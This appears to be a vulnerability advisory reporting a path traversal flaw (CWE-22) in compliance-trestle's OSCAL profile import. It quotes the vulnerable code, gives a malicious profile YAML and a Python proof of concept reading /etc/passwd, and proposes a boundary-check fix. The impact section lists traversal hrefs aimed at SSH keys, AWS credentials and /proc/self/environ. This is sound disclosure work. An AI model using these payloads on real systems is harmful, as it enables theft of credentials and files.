+ "details": "## Summary\n\nThe compliance-trestle library's profile import mechanism resolves `trestle://` URIs and relative file paths by joining them with `trestle_root` and calling `.resolve()`, but performs **no boundary check** to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with `imports[].href` containing path traversal sequences to read arbitrary files from the server filesystem.\n\nThree attack vectors confirmed:\n1. **PT-001:** `trestle://../../etc/passwd` — via trestle:// URI scheme\n2. **PT-002:** `../../etc/passwd` — via relative path in href\n3. **PT-003:** back_matter rlinks with traversal paths\n\n**Preconditions:** Victim must import/resolve an attacker-controlled OSCAL profile YAML.\n\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 175-179)\n**File:** `trestle/core/resolver/_import.py` (line 104)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n\n## Vulnerable Code\n\n### cache.py:175-179 — LocalFetcher (trestle:// URI handling)\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n # ❌ NO boundary check — .resolve() follows ../\n # ❌ NO is_relative_to() validation\n # ❌ Result can be /etc/passwd\n self._cached_object_path = self._abs_path\n return\n```\n\n### cache.py:194 — LocalFetcher (relative path handling)\n\n```python\n # For relative paths (no trestle:// or file:// prefix):\n try:\n self._abs_path = pathlib.Path(uri).resolve()\n # ❌ Same issue — resolves relative to CWD with no boundary check\n except Exception:\n raise TrestleError(...)\n```\n\n### _import.py:73-104 — Profile import href resolution\n\n```python\nclass Import(Pipeline.Filter):\n def __init__(self, ...):\n # Line 73-83: back_matter rlinks used directly\n if self._import.href[0] == '#':\n resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]\n self._import.href = [\n rlink.href # ❌ rlink.href from OSCAL data — user-controlled\n for rlink in resource.rlinks\n if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')\n ][0]\n\n # Line 104: href passed directly to FetcherFactory\n fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)\n```\n\n**Root Cause:**\n1. `Path(trestle_root / \"../../etc/passwd\").resolve()` = `/etc/passwd`\n2. No `is_relative_to(trestle_root)` check after resolve\n3. `TRESTLE_HREF_REGEX` defined at `const.py:253` but **NEVER enforced** (dead code)\n4. Even if enforced, the regex `'^trestle://[^/]'` would PASS traversal payloads (`.` is `[^/]`)\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml\nprofile:\n uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n metadata:\n title: \"Malicious Profile\"\n version: \"1.0\"\n last-modified: \"2024-01-01T00:00:00+00:00\"\n oscal-version: \"1.0.4\"\n imports:\n - href: \"trestle://../../../../../../etc/passwd\"\n```\n\n### PoC: Direct LocalFetcher Exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: trestle:// path traversal via real LocalFetcher\"\"\"\nfrom pathlib import Path\nfrom trestle.core.remote.cache import LocalFetcher\nimport tempfile\n\ntrestle_root = Path(tempfile.mkdtemp())\n\n# Normal usage — stays within workspace\nnormal = LocalFetcher(trestle_root, \"trestle://catalogs/test/catalog.json\")\nprint(f\"Normal: {normal._abs_path}\") # /tmp/xxx/catalogs/test/catalog.json\n\n# Exploit — escapes workspace\nevil = LocalFetcher(trestle_root, \"trestle://../../../../../../etc/passwd\")\nprint(f\"Evil: {evil._abs_path}\") # /etc/passwd\nprint(f\"Content: {evil._abs_path.read_text().split(chr(10))[0]}\")\n# Output: root:x:0:0:root:/root:/bin/bash\n```\n\n**Expected:** Path traversal blocked with error\n**Actual:** `/etc/passwd`, `/etc/shadow`, `/proc/self/environ` read successfully\n\n\n## Remediation\n\n```python\nclass LocalFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:\n super().__init__(trestle_root, uri)\n # ...\n elif uri.startswith(const.TRESTLE_HREF_HEADING):\n uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])\n self._abs_path = pathlib.Path(uri).resolve()\n\n # ✅ ADD: Boundary check\n if not self._abs_path.is_relative_to(self._trestle_root):\n raise TrestleError(\n f\"Path traversal blocked: resolved path '{self._abs_path}' \"\n f\"is outside trestle root '{self._trestle_root}'\"\n )\n\n self._cached_object_path = self._abs_path\n return\n```\n\nSame fix needed for relative path handling at line 194.\n\nAdditionally, enforce `TRESTLE_HREF_REGEX` (already defined at `const.py:253` but never used).\n\n\n## Resources\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **OSCAL Profile Resolution:** https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n1. **Credential Theft via OSCAL Import:**\n ```yaml\n imports:\n - href: \"trestle://../../root/.aws/credentials\"\n - href: \"trestle://../../root/.ssh/id_rsa\"\n ```\n\n2. **System Reconnaissance:**\n ```yaml\n imports:\n - href: \"trestle://../../etc/passwd\"\n - href: \"trestle://../../proc/self/environ\"\n ```\n\n3. **Supply Chain Attack:**\n Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.\n\n4. **Dead Code Evidence:**\n `TRESTLE_HREF_REGEX` defined at `const.py:253` but never enforced anywhere — proves path validation was INTENDED but never implemented.",
0 commit comments